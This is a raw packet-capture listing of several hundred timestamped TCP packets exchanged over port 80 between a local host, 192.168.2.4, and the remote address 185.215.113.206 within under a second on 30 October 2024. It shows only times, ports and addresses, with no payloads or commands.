Oct 30, 2024 06:16:27.828860044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828866959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828882933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828890085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828901052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828911066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828922033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828927994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828938961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828944921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828958035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828967094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828974009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828984022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.828990936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.828999043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829016924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829025030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829031944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829041958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829051971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829062939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829070091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829077005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829087019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829093933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829111099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829117060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.829124928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.829150915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.834966898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.834976912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.835021973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.873398066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.873411894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.873425961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.873439074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.873457909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.873466969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.914948940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.914966106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.914994955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915008068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915020943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915030003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915038109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915061951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915076017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915112019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915132046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915143013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915154934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915163994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915179968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915191889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915637970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915653944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915666103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915677071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915688038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915698051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915705919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.915725946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.915756941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.916321993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.916332960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.916344881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.916368008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.916385889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.947365999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947386980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947412014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947427034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947442055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947454929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.947474003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947503090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.947516918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.947875977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947889090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.947927952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.947949886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.948064089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.948076963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.948112965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:27.992532969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.992549896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.992566109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:27.992697001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.034012079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034028053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034039021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034101963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034112930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034122944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034243107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.034322977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.034481049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034492970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034502983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034514904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034534931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.034563065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.034627914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.035063982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.035083055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.035094023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.035115957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.035135031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.035144091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.035154104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.035171986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.035200119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.066564083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066575050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066637039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066646099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.066656113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066668987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066677094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.066687107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.066704988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.066730022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.069606066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069616079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069624901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069638968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069648981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069653988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.069668055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.069721937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.111625910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.111639977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.111649990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.111733913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153177023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153201103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153211117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153222084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153232098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153239965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153253078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153261900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153305054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153623104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153631926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153641939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153656006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153676987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.153976917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153985977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.153996944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.154010057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.154015064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.154027939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.154057980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.154483080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.154504061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.154514074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.154531002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.154548883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.185873985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.185884953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.185889959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186053991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186077118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186081886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186130047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.186269045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.186285973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186295986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186301947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186319113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186376095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.186820030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186830044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186837912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186847925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.186862946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.186882019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.231132984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.231143951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.231153011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.231204033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272209883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272218943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272278070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272283077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272298098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272309065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272316933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272336006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272347927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272378922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272772074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272825003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272831917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272844076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272852898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272862911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.272870064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272886038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.272910118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.273475885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.273484945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.273494005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.273523092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.273541927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305150032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305175066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305183887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305234909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305272102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305293083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305303097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305311918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305336952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305361032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305799007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305813074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305821896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305830956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305840969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305851936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.305866957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.305892944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.306309938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.306318998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.306329966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.306339979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.306348085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.306376934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.350075006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.350104094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.350135088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.350141048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.350155115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.350161076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.350176096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.350191116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.391972065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.391999960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392009020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392019033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392035007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392050982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392090082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392170906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392185926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392198086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392205000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392213106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392225027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392236948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392256021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392777920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392819881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392826080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392857075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.392971039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.392978907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.393013000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424217939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424263000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424398899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424407959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424417019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424422979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424433947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424439907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424460888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424489021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424834013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424844027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424853086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.424880028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.424896955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425153971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425167084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425173998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425175905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425201893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425211906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425220966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425261021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425797939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425827026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425838947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425843954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.425853014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.425873041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.469302893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.469315052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.469325066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.469409943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.510998964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511024952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511037111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511049032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511071920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511087894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511099100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511110067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511145115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511276007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511286020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511296034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511332035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511363029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511657000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511667013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511677027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511708975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511720896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511728048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511735916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511746883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.511760950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511775970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.511790991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.512428045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.512470007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.512479067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.512509108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.543533087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543543100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543551922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543605089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.543616056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.543629885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543638945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543648958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.543668985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.543693066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544084072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544107914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544130087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544145107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:28.544261932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:28.544270992 CET	80	49758	185.215.113.206	192.168.2.4
